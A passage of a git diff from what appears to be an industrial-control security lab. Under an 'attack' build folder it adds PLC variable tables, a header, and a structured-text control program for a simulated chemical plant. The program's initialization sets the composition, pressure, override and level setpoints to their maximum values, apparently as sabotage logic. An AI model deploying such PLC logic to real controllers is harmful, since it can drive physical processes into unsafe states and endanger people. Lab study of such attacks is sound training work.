+385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := 